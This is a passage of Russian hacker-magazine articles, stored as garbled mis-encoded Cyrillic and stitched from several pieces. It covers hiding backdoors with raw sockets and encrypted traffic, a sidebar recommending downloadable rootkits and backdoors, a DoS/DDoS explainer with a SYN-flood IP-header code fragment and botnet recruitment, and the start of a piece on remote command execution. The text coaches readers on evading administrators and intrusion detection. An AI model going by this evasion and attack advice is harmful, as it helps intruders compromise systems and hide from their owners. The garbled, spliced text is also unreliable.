ïðè ñêàíèðîâàíèè àäìèíèñòðàòîð
çàìåòèò, ÷òî â ñèñòåìå îòêðûò "ëå-
âûé" ïîðò, à netstat åãî íå ïîêàçû-
âàåò. Àäìèí ñðàçó æå ïðîñå÷åò
ôèøêó, è áîëüøå ìû íà åãî ìàøèíó
íå ïîïàäåì. Èìåííî äëÿ òàêèõ ñëó-
÷àåâ õàêåðû ïðèäóìàëè åùå êîå-÷òî
äëÿ ñîêðûòèÿ ñâîåãî ïðèñóòñòâèÿ â
ñèñòåìå. Ïðè íàïèñàíèè áýêäîðà
ñëåäóåò èñïîëüçîâàòü íå
SOCK_STREAM, à SOCK_RAW, òî åñòü
âìåñòî TCP-ñîêåòîâ þçàòü RAW-ñî-
êåòû. Êðàñèâûé ñïîñîá: RAW-ñîêåòû
ïîçâîëÿþò ñëóøàòü âåñü âõîäÿùèé
òðàôèê, à ýòî äàåò íàì îãðîìíûå
âîçìîæíîñòè. Íàïðèìåð, ìû ìîæåì
ñäåëàòü òàê, ÷òîáû ïîñëå ïîñûëêè
îïðåäåëåííîãî ïàêåòà áýêäîð îòêðû-
âàë øåëë íà îïðåäåëåííîì ïîðòó.
Ïðèìåðû ïîäîáíûõ áýêäîðîâ - íà
packetstormsecurity.nl. 

ÌÀÑÊÈÐÓÅÌ ÒÐÀÔÈÊ
Ãðàìîòíûé àäìèíèñòðàòîð íå

âñåãäà îãðàíè÷èâàåòñÿ ñòàíäàðòíûìè
ñðåäñòâàìè ïðè ïîèñêå áýêäîðà â ñâî-
åé ñèñòåìå. Èíîãäà îí ïðèáåãàåò ê ïî-
èñêó çëîóìûøëåííèêà ñ ïîìîùüþ
ñíèôåðà èëè IDS, ïîäîáíîé Ñíîðòó. À
îò çîðêîãî ãëàçà (èëè ÷óòêîãî íîñà? :))
�íþõà÷à� íå ñêðîåòñÿ íè îäèí äàæå
ñàìûé íàâîðî÷åííûé áýêäîð. 

Êàê æå óáåðå÷üñÿ îò íàäîåäëèâî-
ãî àäìèíà è åãî êîøìàðíîé IDS? Òóò
ïîìîæåò òîëüêî îäíî � ïîëíîå
øèôðîâàíèå òðàôèêà, êîòîðîå óáå-
ðåò çàìåòíûé plain text êîìàíä èç
ëîãîâ ñíèôåðà. Õàêåðû èñïîëüçóþò
äëÿ ýòîãî ñàìûå ðàçíûå êðèïòîàëãî-
ðèòìû: è IDEA, è xTEA, è Blowfish, è
Twofish. 

Íî, äàæå øèôðóÿñü, íå ñòîèò çà-
áûâàòü, ÷òî ëèøíèé ãèãàáàéò òðà-
ôèêà, ãåíåðèðóåìûé ê òîìó æå êà-
êèì-íèáóäü RAW-ñîêåòîì, çàìåòèò
äàæå ñëåïîé àäìèí. Ïðè èñïîëüçî-
âàíèè ÷óæèõ ìîùíîñòåé íàäî
çíàòü ìåðó :).

ÍÀÏÎÑËÅÄÎÊ
Â ýòîé ñòàòüå ÿ îïèñàë ëèøü ñà-

ìûå ïîïóëÿðíûå ïîäõîäû ê ìàñêè-
ðîâêå. Âðåìÿ íå ñòîèò íà ìåñòå, ïîñ-
òîÿííî èçîáðåòàþòñÿ âñå íîâûå è íî-
âûå ñïîñîáû ñîêðûòèÿ áýêäîðîâ. Ñòà-
ðàéñÿ íå îòñòàâàòü îò ïðîãðåññà,
âåäü íå ïðîñòî òàê ãîâîðÿò: "Êòî îñ-
òàíîâèëñÿ, òîò óìåð!" E
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Íå âñåãäà åñòü âîçìîæíîñòü è æåëàíèå ïèñàòü áýêäîð ñàìîìó. ß
ïðèãîòîâèë êîðîòåíüêèé îáçîð ïîëåçíûõ áýêäîðîâ/ðóòêèòîâ, äîñ-
òóïíûõ â ñåòè:

Bdoor.c - áýêäîð, ìàñêèðóþùèéñÿ ïîä HTTP-äåìîí. Îí íå èñïîëü-
çóåò íèêàêèõ stealth-òåõíîëîãèé. Ïðèìåíÿòü åãî ìîæíî òîëüêî â
ðàñ÷åòå íà íåâíèìàòåëüíîñòü àäìèíèñòðàòîðà (ÿâëåíèå, íàäî ïðèç-
íàòü, î÷åíü ÷àñòîå). 

SYS_getuid áûë áû ïðîñòî îòëè÷íûì ðóòêèòîì, åñëè áû íå òàê
ïðîñòî ëîâèëñÿ â ñèñòåìå. Äëÿ åãî îáíàðóæåíèÿ äîñòàòî÷íî ñäå-
ëàòü êîïèþ òàáëèöû ñèñòåìíûõ âûçîâîâ ïîñëå óñòàíîâêè ñèñòåìû
(äî òîãî êàê ñèñòåìà çàòðîÿíåíà), à ïîòîì âðåìÿ îò âðåìåíè ñâåðÿòü
óêàçàòåëè, òåêóùóþ òàáëèöó ñ êîïèåé, ëþáûå ðàñõîæäåíèÿ áóäóò
îçíà÷àòü ïðèñóòñòâèå áýêäîðà.

Superkit � çàìå÷àòåëüíûé ìíîãîôóíêöèîíàëüíûé ðóòêèò. Óìååò
ïðÿòàòü ôàéëû, ïðîöåññû, ñîåäèíåíèÿ â netstat. Èìååò ôóíêöèþ
çàùèòû ïàðîëåì. Óìååò îòêðûâàòü ïîðò è çàïóñêàòü íà íåì óäàëåí-
íûé øåëë. È ñàìîå ïðèÿòíîå - îí íå ìîæåò áûòü îáíàðóæåí ñ ïî-
ìîùüþ ñðàâíåíèÿ òàáëèö ñèñòåìíûõ âûçîâîâ.

Linuxrootkit5 - ýòî äîâîëüíî ñòàðûé, íî íå ïîòåðÿâøèé ñâîåé àê-
òóàëüíîñòè ðóòêèò. Ïîìèìî ñòàíäàðòíîãî íàáîðà ôóíêöèé lkm-ðóò-
êèòà, îí óìååò ïðÿòàòü cron-çàïèñè, ÷òî áûâàåò î÷åíü ïîëåçíî, êîã-
äà ñòàðàåøüñÿ îáõèòðèòü àäìèíà ëþáûìè ñïîñîáàìè.

kbdv2.c - Linux loadable kernel module backdoor. Êëàññè÷åñêèé ïðè-
ìåð áýêäîðà, ïîäãðóæàåìîãî ê ÿäðó ñèñòåìû. Ïåðåõâàòûâàåò ñèñ-
òåìíûå âûçîâû (SYS_stat, SYS_getuid). Èíòåðåñåí áýêäîð íå ñòîëü-
êî ñâîèìè ôóíêöèÿìè, ñêîëüêî õîðîøî êîììåíòèðîâàííûì èñõîä-
íûì êîäîì. Åãî èçó÷åíèå ìîæåò áûòü î÷åíü ïîëåçíî ïðè íàïèñàíèè
ñîáñòâåííîé ïðîãðàììû ïîäîáíîãî ðîäà.

Neth � äåòèùå Forb�à. Îòëè÷íûé áýêäîð! Íàïèñàííûé ñ èñïîëüçîâà-
íèåì "ñûðûõ" ñîêåòîâ, îí íå îòêðûâàåò TCP-ïîðòîâ, çà ñ÷åò ÷åãî íå
ïàëèòñÿ íè netstat�îì, íè óäàëåííûì ñêàíåðîì.

Ïðàêòè÷åñêè âñå ïåðå÷èñëåííûå ìíîé ïðîãðàììêè ìîæíî ñêà÷àòü ñ
ñàéòà www.packetstormsecurity.nl.

ÌÍÎÃÎ ÁÝÊÄÎÐÎÂ, ÕÎÐÎØÈÕ È ÐÀÇÍÛÕ

Çàìàñêèðîâàííûé áýêäîð

Óòèëèòà
cron ïîìî-
æåò îáõèò-
ðèòü àäìè-
íèñòðàòîðà.



Åñëè ñåðâåð
àòàêóåò
îäíà
«òî÷êà», òî
îí âïîëíå
ìîæåò
çàêðûòüñÿ
îò íåå
ôàåðâîëîì.

Åðìîëàåâ Åâãåíèé aka Saturn (saturn@linkin-park.ru)

Ï îïóëÿðíîñòü àòàê, íàïðàâëåííûõ íà îòêàç â îáñëóæèâàíèè, ðàñòåò ñ êàæäûì äíåì. Ïðè ýòîì î íèõ îïóáëèêîâàíî
êðàéíå ìàëî äåéñòâèòåëüíî ïîëåçíîé èíôîðìàöèè. Â îñíîâíîì äîñòóïíû ëèøü ïîâåðõíîñòíûå îïèñàíèÿ óäà÷íûõ

àòàê èëè íåãîäîâàíèÿ ïîñòðàäàâøèõ. Ýòîò ìàòåðèàë ïîìîæåò òåáå ðàçîáðàòüñÿ â DoS/DDoS-àòàêàõ.

DOS/DDOS
ÀÒÀÊÀ ÃÐÓÁÎÉ ÑÈËÛ

ÖÅËÜ
Îñíîâíàÿ öåëü

DoS/DDoS-àòàê - âûâåñ-
òè îáúåêò èç ðàáî÷åãî
ñîñòîÿíèÿ. Êîíå÷íî, â

áîëüøèíñòâå ñëó÷àåâ ãëîáàëüíàÿ àòà-
êà ïðèâîäèò ê áîëüøèì ôèíàíñîâûì
ïîòåðÿì ñî ñòîðîíû àòàêóåìîãî. Íàï-
ðèìåð, åñëè êàêîé-ëèáî êîììåð÷åñêèé
ñàéò óïàäåò íà íåñêîëüêî ÷àñîâ, òî ýòî
íàíåñåò âðåä áèçíåñó, à åñëè íà íåäå-
ëþ, òî âëàäåëåö ðåñóðñà âïîëíå ìî-
æåò ðàçîðèòüñÿ. Èëè âçÿòü ëîêàëüíûå
ñåòè. Äåëî â òîì, ÷òî îäíèì èç ýôôåê-
òîâ ïîïóëÿðíûõ àòàê íà Denial of
Service (DoS) ÿâëÿåòñÿ îãðîìíûé òðà-
ôèê, íàïðàâëÿåìûé íà æåðòâó. Åñëè
äëÿ êðóïíîé çàïàäíîé ôèðìû ýòî ìå-
ëî÷ü, òî äëÿ íåáîëüøîé îòå÷åñòâåí-
íîé äîìàøíåé ñåòè ñðåäíÿÿ àòàêà ìî-
æåò ãðîçèòü ðàçîðåíèåì. Êðîìå îãðîì-
íîãî âðåäà, íàíîñèìîãî æåðòâå, òàêèå
íàïàäåíèÿ îòëè÷àþòñÿ ïðîñòîòîé è îã-
ðîìíîé ýôôåêòèâíîñòüþ. Ïðîòèâ íèõ
íåò ñòîïðîöåíòíîé çàùèòû. Èìåííî
íàçâàííûå âûøå ôàêòîðû ïðèâëåêà-
þò ê DoS âíèìàíèå ñïåöèàëèñòîâ ïî
ñåòåâîé áåçîïàñíîñòè è... DoS'åðîâ.

ÏÐÈÍÖÈÏ ÐÀÁÎÒÛ
Äëÿ òîãî ÷òîáû îáíàðóæèòü, à óæ

òåì áîëåå îðãàíèçîâàòü DoS/DDoS-àòà-
êó, íóæíî ðàçîáðàòüñÿ â åå ïðèíöèïàõ.
Ýòè àòàêè íå íàïðàâëåíû íà ïîëó÷åíèå
äîñòóïà ê ðåñóðñàì èëè ê âàæíîé èí-
ôîðìàöèè. Àòàêà DoS äåëàåò ðåñóðñ
íåäîñòóïíûì äëÿ èñïîëüçîâàíèÿ ïó-
òåì íàðóøåíèÿ åãî íîðìàëüíîé ðàáî-
òû. Àòàêó íà îòêàç â îáñëóæèâàíèè
ìîæíî ïðîâåñòè âñåãî äâóìÿ ñïîñîáà-
ìè: èñïîëüçîâàâ óÿçâèìîñòè â ïðîãðà-
ììíîì îáåñïå÷åíèè æåðòâû è ïðè ïî-
ìîùè îòñûëêè áîëüøîãî êîëè÷åñòâà
îïðåäåëåííî ñîñòàâëåííûõ ñåòåâûõ
ïàêåòîâ (ôëóä). Ïåðâûé ñïîñîá ñîñòî-
èò â òîì, ÷òîáû, èñïîëüçóÿ óÿçâèìîñòè
òèïà ïåðåïîëíåíèÿ áóôåðà, îòîñëàòü
êîä, âûïîëíÿþùèé DoS íà ñåðâåðå.
Ïîñêîëüêó àòàêà áóäåò ïðîâîäèòüñÿ
"èçíóòðè", òî ÷åðåç î÷åíü êîðîòêîå
âðåìÿ îáúåêò çàâèñíåò èëè áóäåò îòê-
ëþ÷åí îò èíòåðíåòà. Ýòîò ñïîñîá íå
òðåáóåò áîëüøèõ âû÷èñëèòåëüíûõ ðå-
ñóðñîâ íàïàäàþùåãî, îäíàêî òàêàÿ

àòàêà ïðåäïîëàãàåò èñïîëüçîâàíèå
óÿçâèìîñòåé, ÷òî ñàìî ïî ñåáå óñëîæ-
íÿåò çàäà÷ó. Ïîñêîëüêó íèêòî íå õî÷åò
èçëèøíå çàìîðà÷èâàòüñÿ, â íàðîäå áî-
ëåå ïîïóëÿðåí âòîðîé ñïîñîá, êîòîðî-
ìó ìû è óäåëèì îñíîâíîå âíèìàíèå.
Ýòî ïðèìåð ïðèìåíåíèÿ ïðîñòîé ãðó-
áîé ñèëû, êîòîðàÿ ïðàêòè÷åñêè íå íóæ-
äàåòñÿ â ïðèëîæåíèè óìà. Èäåÿ ñîñòî-
èò â òîì, ÷òîáû ïåðåñëàòü êàê ìîæíî
áîëüøå "êðèâûõ" çàïðîñîâ ñåðâåðó
(âïðî÷åì, íå òîëüêî "êðèâûõ": îò îã-
ðîìíîãî êîëè÷åñòâà íîðìàëüíûõ ïàêå-
òîâ, íàïðèìåð GET-çàïðîñîâ äëÿ HTTP-
ñåðâåðà õîñòû ïàäàþò ñ òàêèì æå óñïå-
õîì). Äåëî â òîì, ÷òî ïðè ïîëó÷åíèè
ñåðâåðîì ïàêåòà äàííûõ ïðîèñõîäèò åãî
îáðàáîòêà. Åñëè ïðèõîäèò ïàêåò, íî ñåð-
âåð çàíÿò ïðèåìîì èëè îáðàáîòêîé äðó-
ãîãî ïàêåòà, òî âíîâü ïðèõîäÿùèé çàï-
ðîñ ñòàâèòñÿ â î÷åðåäü, çàíèìàÿ ïðè
ýòîì ÷àñòü ðåñóðñîâ ñèñòåìû. Ïðè ïðî-
âåäåíèè DoS-àòàêè ñåðâåðó îòñûëàåòñÿ
áîëüøîå êîëè÷åñòâî ïàêåòîâ îïðåäå-
ëåííîãî ðàçìåðà. Ïðè ýòîì îòâåò ñåðâå-
ðà íå îæèäàåòñÿ (îáû÷íî àäðåñ îòïðà-
âèòåëÿ ôàëüñèôèöèðóåòñÿ - ñïóôèíã).
Â ðåçóëüòàòå, èç-çà òîãî ÷òî ñåðâåð îêà-
çûâàåòñÿ ïåðåãðóæåí èíôîðìàöèåé, îí
ëèáî îòêëþ÷àåòñÿ îò èíòåðíåòà, ëèáî
çàâèñàåò. Â ëþáîì ñëó÷àå, íîðìàëüíûå
ïîëüçîâàòåëè íåêîòîðîå âðåìÿ (èíîãäà
äîâîëüíî ïðîäîëæèòåëüíîå) íå ìîãóò
ïîëüçîâàòüñÿ óñëóãàìè ïîñòðàäàâøåãî
ñåðâåðà. Ïðîñòî è ñî âêóñîì :). Îäíàêî
åñëè ñåðâåð àòàêóåò îäíà "òî÷êà", îí
âïîëíå ìîæåò çàêðûòüñÿ îò íåå ôàåð-
âîëîì. Êðîìå òîãî, äëÿ ïðîâåäåíèÿ êà-
÷åñòâåííîé DoS-àòàêè íåîáõîäèìà äî-
âîëüíî âûñîêàÿ ïðîïóñêíàÿ ñïîñîá-
íîñòü êàíàëà. Ïîýòîìó àòàêà íà îòêàç â
îáñëóæèâàíèè â áîëüøèíñòâå ñëó÷àåâ
ïðîâîäèòñÿ ñðàçó ñ íåñêîëüêèõ ìàøèí.
Àòàêà, â ïðîâåäåíèè êîòîðîé ó÷àñòâóåò
ìíîãî ìàøèí (îáû÷íî ýòî çàòðîÿíåííûå
äåñêòîïû, èõ íàçûâàþò "çîìáè"), ïîëó-

÷èëà íàçâàíèå DDoS (Distributed Denial
of Service). Äëÿ ñêîëü óãîäíî ìîùíîãî
ñåðâåðà âñåãäà ìîæíî ïîäîáðàòü äîñòà-
òî÷íîå êîëè÷åñòâî çîìáèêîâ (áëàãî äû-
ðÿâûõ ñèñòåì è óøàñòûõ þçâåðåé ïî ìè-
ðó ìíîãî ðàçâåëîñü).

Åñòü íåñêîëüêî ñïîñîáîâ ïîëó÷åíèÿ
"çîìáè". Âî-ïåðâûõ, ýòî ìàññîâîå
âíåäðåíèå òðîÿíà íà êîìïüþòåðû ìèð-
íûõ ïîëüçîâàòåëåé. Ñàìûé ïîïóëÿð-
íûé ñïîñîá óïðàâëåíèÿ òðîÿíàìè -
IRC, òî åñòü îðãàíèçàöèÿ áîòíåòà. Ïðè
ïîñûëêå îïðåäåëåííûõ êîìàíä òðîÿí
àêòèâèðóåòñÿ è ìèðíûé äîìàøíèé
êîìïüþòåð (ñ øèðîêîïîëîñíûì âûõî-
äîì â èíòåðíåò) ñòàíîâèòñÿ èñòî÷íè-
êîì áîëüøîãî êîëè÷åñòâà ìóñîðà, ñúå-
äàþùåãî ðåñóðñû àòàêóåìîãî ñåðâåðà. 

×òîáû áîëåå äåòàëüíî ðàçîáðàòüñÿ
â DoS-àòàêàõ, ðàññìîòðèì èõ íàèáîëåå
èçâåñòíûå ðàçíîâèäíîñòè. Âûäåëÿþò
ïÿòü íàèáîëåå ïîïóëÿðíûõ:

- TCP SYN Flood;
- TCP flood;
- Ping of Death;
- ICMP flood;
- UDP flood.

TCP SYN FLOOD È TCP FLOOD
Îñíîâíàÿ öåëü ýòîãî âèäà àòàê -

ïðåâûñèòü îãðàíè÷åíèå íà êîëè÷å-
ñòâî ñîåäèíåíèé, êîòîðûå íàõîäÿò-
ñÿ â ñîñòîÿíèè óñòàíîâêè. Â ðåçóëü-
òàòå, ñèñòåìà íå ìîæåò óñòàíàâëè-
âàòü íîâûå ñîåäèíåíèÿ. Ïîñëå ýòîãî
êàæäûé äîïîëíèòåëüíûé çàïðîñ
åùå ñèëüíåå óâåëè÷èâàåò íàãðóçêó.
Äëÿ òîãî ÷òîáû äîñòè÷ü æåëàåìîãî
ðåçóëüòàòà, ïðè ïðîâåäåíèè àòàêè
íàïðàâëÿåòñÿ áîëüøîå êîëè÷åñòâî
çàïðîñîâ íà èíèöèàëèçàöèþ TÑP-
ñîåäèíåíèÿ ñ ïîòåíöèàëüíîé æåðò-
âîé. Òàêèå àòàêè íå íóæäàþòñÿ â îá-
ðàòíîé ñâÿçè ñ àòàêóþùèì, è ïîýòî-
ìó ìîæíî íå èñïîëüçîâàòü íàñòîÿ-
ùèé àäðåñ èñòî÷íèêà.
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IRC - ñàìûé
ïîïóëÿðíûé
ñïîñîá
óïðàâëåíèÿ
òðîÿíàìè

Ãëàâíîé îñîáåííîñòüþ DDoS-àòàê
ÿâëÿåòñÿ òî, ÷òî äëÿ íèõ íå ñóùåñòâóåò
ñåðâåðà, êîòîðûé íåëüçÿ "çàâàëèòü".



Íèæå ïðèâåäåí ïðèìåð óñòàíîâêè çà-
ãîëîâêà IP ïàêåòà, êîòîðûé ìîæíî èñ-
ïîëüçîâàòü â àòàêå òèïà "SYN Flood".

packet.ip.version=4; // Âåðñèÿ 
packet.ip.ihl=5; // Äëèíà çàãîëîâêà 
packet.ip.tos=0; // Òèï ñåðâèñà 
packet.ip.tot_len=htons(40); // Îáùàÿ äëèíà 
packet.ip.id=getpid(); // Èäåíòèôèêàòîð 
packet.ip.frag_off=0; // Ñìåùåíèå ôðàãìåíòà 
packet.ip.ttl=255; // Âðåìÿ æèçíè 
packet.ip.protocol=IPPROTO_TCP; // Ïðîòîêîë 
packet.ip.check=0; // Êîíòðîëüíàÿ ñóììà 
packet.ip.saddr=saddress; // Àäðåñ èñòî÷íèêà 
packet.ip.daddr=daddress; // Àäðåñ íàçíà÷åíèÿ

TCP flood - ýòî âèä àòàêè, ïðè êîòîðîì
ïîòåíöèàëüíîé æåðòâå îòïðàâëÿåòñÿ
ìíîæåñòâî TCP-ïàêåòîâ, ÷òî ïðèâîäèò
ê ñâÿçûâàíèþ ñèñòåìíûõ ðåñóðñîâ.

Ñëåäóþùèå âèäû DoS-àòàê îñíîâà-
íû íà ñîâåðøåííî äðóãîì ïðèíöèïå.
Ïðè ïîìîùè òàêèõ àòàê ìîæíî ïåðå-
ïîëíèòü ñåòü èëè îòäåëüíî âçÿòóþ
ìèøåíü àáñîëþòíî áåñïîëåçíûìè
ping-ïàêåòàìè. Äëÿ ðåàëèçàöèè ñëåäó-
þùèõ âèäîâ àòàêè äîñòàòî÷íî íåñ-
êîëüêèõ ñòðîê êîäà. Èòàê, ýòî àòàêè,
îñíîâàííûå íà ïðîòîêîëå ICMP:

PING OF DEATH È ICMP FLOOD
Áîëüøîå êîëè÷åñòâî DoS-àòàê îñ-

íîâûâàåòñÿ íà ïðîòîêîëå ICMP. Íåêîòî-
ðûå åãî ôóíêöèè ìîãóò áûòü ïîëåçíû
äëÿ ñîçäàíèÿ íàïàäåíèé òàêîãî ðîäà.

ICMP flood - ýòî äàëåêî íå íîâûé âèä
àòàêè, êîòîðûé, òåì íå ìåíåå, íå òåðÿ-
åò ïîïóëÿðíîñòè. Çäåñü èñïîëüçóåòñÿ
ping. Ping èçíà÷àëüíî çàäóìûâàëñÿ
äëÿ ïðîâåðêè êà÷åñòâà ñîåäèíåíèÿ ñ
óäàëåííûì êîìïüþòåðîì. Ïðèíöèï ðà-
áîòû ñëåäóþùèé: ïðîãðàììà îòñûëàåò
íåêîå ñîîáùåíèå, íà êîòîðîå óäàëåí-
íûé êîìïüþòåð àâòîìàòè÷åñêè îòâå-
÷àåò. Âðîäå áû âñå íîðìàëüíî. Îäíà-
êî ïðè àòàêå èñïîëüçóþòñÿ áîëüøèå
(64 êÁ), ñèëüíî ôðàãìåíòèðîâàííûå
ICMP-ïàêåòû. Ïðè ïîëó÷åíèè òàêèõ ïà-
êåòîâ óäàëåííàÿ ìàøèíà çàâèñàåò. 

Ping of Death îñíîâûâàåòñÿ íà ICMP
flood, îäíàêî óñèëèâàåò àòàêó çà ñ÷åò
òîãî, ÷òî ping-çàïðîñû ïåðåñûëàþòñÿ
ïî àäðåñó øèðîêîâåùàòåëüíîé ðàñ-
ñûëêè. Èñïîëüçóåìûé â ïàêåòàõ çàï-
ðîñà àäðåñ - ýòî àäðåñ àòàêóåìîãî ñåð-
âåðà. Ïîëó÷èâøèå òàêèå "ïîñûëêè

ñìåðòè" ñèñòåìû îòâå÷àþò íà íèõ è
çàáèâàþò æåðòâó. Ýòî î÷åíü ñåðüåç-
íûé âèä àòàêè, êîòîðûé, ïðàâäà, òðå-
áóåò äëèòåëüíîé ïîäãîòîâêè. Òðåáóåò-
ñÿ ìíîãî "çîìáè", íåîáõîäèìî ñîá-
ðàòü äîñòàòî÷íîå êîëè÷åñòâî èíôîð-
ìàöèè î æåðòâå è ïîñðåäíèêàõ.

UDP FLOOD 
Ýòî íàèáîëåå îïàñíûé âèä àòàêè.

UDP-ñåðâèñ îäíîé ìàøèíû ãåíåðèðó-
åò ïîñëåäîâàòåëüíîñòü ñèìâîëîâ äëÿ
êàæäîãî ïîëó÷àåìîãî ñèñòåìîé ïàêå-
òà. Äåëàåòñÿ ýòî â öåëÿõ òåñòèðîâà-
íèÿ. Äàëåå ñâÿçûâàåòñÿ ñ echo-ñåðâè-
ñîì äðóãîé ìàøèíû, êîòîðàÿ ïîâòîðÿ-
åò ýòè ñèìâîëû. Â ðåçóëüòàòå, ïåðåäà-
åòñÿ áîëüøîå êîëè÷åñòâî UDP-ïàêå-
òîâ ñ ïîääåëàííûì IP èñòî÷íèêà. Îñ-
íîâíàÿ ïðîáëåìà äëÿ çàùèòû ñîñòîèò
â òîì, ÷òî ïðîòîêîë UDP íå óñòàíàâëè-
âàåò ñîåäèíåíèÿ è íåò íèêàêèõ èíäè-
êàòîðîâ ñîñòîÿíèÿ, ÷òîáû ïîìî÷ü
ìåæñåòåâîé çàùèòå âûÿâèòü íàïàäå-
íèå. ×òîáû ñ áîëüøåé äîëåé âåðîÿò-
íîñòè èçáåæàòü òàêîé àòàêè, íóæíî
óäàëèòü âñå íåíóæíûå UDP-ñåðâèñû,
à îñòàëüíûì ñåðâèñàì èñïîëüçîâàòü
ìåõàíèçì ïðîêñè-ñåðâåðà.

ÑÀÌÛÅ ÌÎÙÍÛÅ
DOS/DDOS-ÀÒÀÊÈ

Òåïåðü òû çíàåøü, ÷òî ñîáîé
ïðåäñòàâëÿåò àòàêà íà îòêàç â îáñëó-
æèâàíèè. Ïðèøëî âðåìÿ ñîñòàâèòü
íåáîëüøîé õèò-ïàðàä DoS/DDoS-àòàê.
1. Ïîæàëóé, ñàìîé íàøóìåâøåé

àòàêîé èç ðàçðÿäà DoS ñòàëà àòàêà
íà êîðíåâûå DNS-ñåðâåðà, ïðîèçî-
øåäøàÿ â íîÿáðå 2002 ãîäà. Òîãäà
ðàñïðåäåëåííîé àòàêå ïîäâåðãëèñü
âñå 13 DNS-ñåðâåðîâ, ñåìü èç êîòî-
ðûõ  âûøëè èç ñòðîÿ. Òîëüêî âûñî-
êèé óðîâåíü èçáûòî÷íîñòè â ñòðóêòó-
ðå èíòåðíåòà ïîçâîëèë èçáåæàòü çà-
äåðæåê ïðè îáðàùåíèè ê ðåñóðñàì.
2. Àòàêà íà ñàéò SCO, ñîâåðøåííàÿ

ïðè ïîìîùè âèðóñà MyDoom è âñåõ
åãî ïîäöåïèâøèõ. 22 àâãóñòà 2003 ãî-
äà ñàéò êîìïàíèè SCO ïåðåñòàë îòâå-
÷àòü íà çàïðîñû ïîëüçîâàòåëåé. Àòàêà
ïðîäîëæàëàñü íåñêîëüêî äíåé è ïðåê-
ðàòèëàñü òîëüêî 25 àâãóñòà. Ïîñêîëü-
êó âèðóñ MyDoom èìåë î÷åíü øèðî-
êîå ðàñïðîñòðàíåíèå, òî àòàêà ïîëó÷è-
ëàñü ìîùíåéøåé. Âòîðàÿ ðåäàêöèÿ âè-
ðóñà MyDoom.B, ñîçäàííàÿ äëÿ àòàêè

íà ñàéò Microsoft, íå
èìåëà òàêîãî "óñïå-
õà" ó ïîëüçîâàòåëåé.
3. Ñåðâåðû

Osirusoft êðóïíåéøå-
ãî õðàíèëèùà IP-àä-
ðåñîâ, çàìå÷åííûõ â
ñïàìå, áûëè îòêëþ÷å-
íû ïîñëå áîëüøîãî
êîëè÷åñòâà ðàñïðåäå-
ëåííûõ àòàê íà îòêàç
â îáñëóæèâàíèè.
Äàííàÿ ñëóæáà çàíè-
ìàëàñü âåäåíèåì äè-
íàìè÷åñêîãî ñïèñêà
IP-àäðåñîâ, çàìå÷åí-
íûõ â ñïàìå.

Àòàêè íà îòêàç â îáñëóæèâàíèè, íå-
ñîìíåííî, áîëüøîå çëî íà ïðîñòîðàõ
èíòåðíåòà. È åñëè îòäåëüíî âçÿòóþ
ïîëüçîâàòåëüñêóþ ìàøèíó ìîæíî çà-
ùèòèòü ñ ïîìîùüþ ôàåðâîëà, òî äëÿ
ñåðâåðîâ ñòîïðîöåíòíîé çàùèòû íåò è
â ñêîðîì âðåìåíè íå ïðåäâèäèòñÿ. Òàê
÷òî ñ DoS/DDoS-àòàêàìè ñëîæèëàñü
äîâîëüíî ãðóñòíàÿ (èëè âåñåëàÿ? :))
ñèòóàöèÿ. Ìíîãèå õîñòåðû ïðè îáíàðó-
æåíèè àòàêè ïðîñòî âûêëþ÷àþò ñåðâå-
ðà. Ýòî î ÷åì-òî ãîâîðèò ;).E
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Ñõåìà ðàáîòû FloodGuard (ñèñòåìû
çàùèòû)

SYN-FLOOD.

Ñïîñîáû ïîäêëþ÷åíèÿ ê æåðòâå(2 âèäà àòàêè)

Åùå îäíà ñõåìà àòàêè: íà ñåé ðàç ïðè èñïîëüçîâàíèè "çîìáè".



Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

X àêåðû ñïîñîáíû àòàêîâàòü ñåðâåð ñî âñåõ ñòîðîí. Âçëîìùèê ìîæåò èñïîëüçîâàòü ýêñïëîèò èëè ïîðàçèòü ñåðâåð
êîìàíäîé, âûïîëíåííîé ÷åðåç äûðÿâûé ñöåíàðèé. HTTP-äåìîí ÿâëÿåòñÿ ñàìîé îïàñíîé ñòîðîíîé ñåðâåðà, êîòîðàÿ

ñêðûâàåò çà ñîáîé âîçìîæíîñòü èíòåðïðåòèðîâàíèÿ ïðàêòè÷åñêè ëþáîé *nix-êîìàíäû. Îá ýòîì è ìíîãîì äðóãîì òû
ïðî÷òåøü â äàííîì ìàòåðèàëå.

ÎÒÛÙÈ 
È ÂÛÏÎËÍÈ!
ÓÄÀËÅÍÍÎÅ ÂÛÏÎËÍÅÍÈÅ ÊÎÌÀÍÄ

ÒÀÊ ÌÍÎÃÎ 
ÑÏÎÑÎÁÎÂ 
ÕÎÐÎØÈÕ...

Íà ñàìîì äåëå, óò-
âåðæäåíèå, ÷òî óäàëåí-

íî âûïîëíÿòü êîìàíäû ìîæíî òîëüêî
÷åðåç Web, îøèáî÷íî. Ëþáîé ðàáî-
÷èé ýêñïëîèò, íàöåëåííûé íà áàæíûé
ñåðâèñ, ñïîñîáåí âûïîëíèòü êàêîå-ëè-
áî äåéñòâèå. Ýòî ìîæåò áûòü äîáàâëå-
íèå ïîëüçîâàòåëÿ, çàïóñê èíòåðïðåòà-
òîðà è ò.ä. Âàæíî òî, ÷òî ñàì ôàêò ïå-
ðåïîëíåíèÿ áóôåðà ïðèâîäèò ê ôà-
òàëüíîé îøèáêå è, êàê ñëåäñòâèå, ê
óäà÷íîìó âûïîëíåíèþ êîìàíäû. ß áû
ñ óäîâîëüñòâèåì ðàñêðûë âñå òàéíû
ïåðåïîëíåíèÿ, íî ýòî óæå áûëî ñäå-
ëàíî â Ñïåöå #08.04(45), ïîñâÿùåí-
íîì äûðÿâûì áóôåðàì.

Âòîðîé ñïîñîá - àòàêà ÷åðåç Web.
Íà òûñÿ÷àõ Web-ñåðâåðîâ êðóòÿòñÿ
ìèëëèîíû áàæíûõ ñöåíàðèåâ, ÷åðåç
êîòîðûå ìîæíî âûïîëíÿòü ñèñòåì-
íûå çàïðîñû. Íåêîòîðûå àäìèíû íå
èñïðàâëÿþò óÿçâèìûå ñöåíàðèè, òàê
êàê íàäåþòñÿ íà ôàåðâîë, íî ãðàìîò-
íûé âçëîìùèê ìîæåò âëåãêóþ îòê-
ëþ÷èòü áðàíäìàóýð äàæå ÷åðåç Web-
ëàçåéêó. ß ðàññêàæó î ñàìûõ èçâåñò-
íûõ óÿçâèìîñòÿõ â CGI/PHP-ñêðèï-
òàõ, ýêñïëóàòàöèÿ êîòîðûõ ïðèâîäèò
ê ôàòàëüíûì ïîñëåäñòâèÿì.

ÀÒÀÊÀ ÍÀ ÏÀÉÏÛ
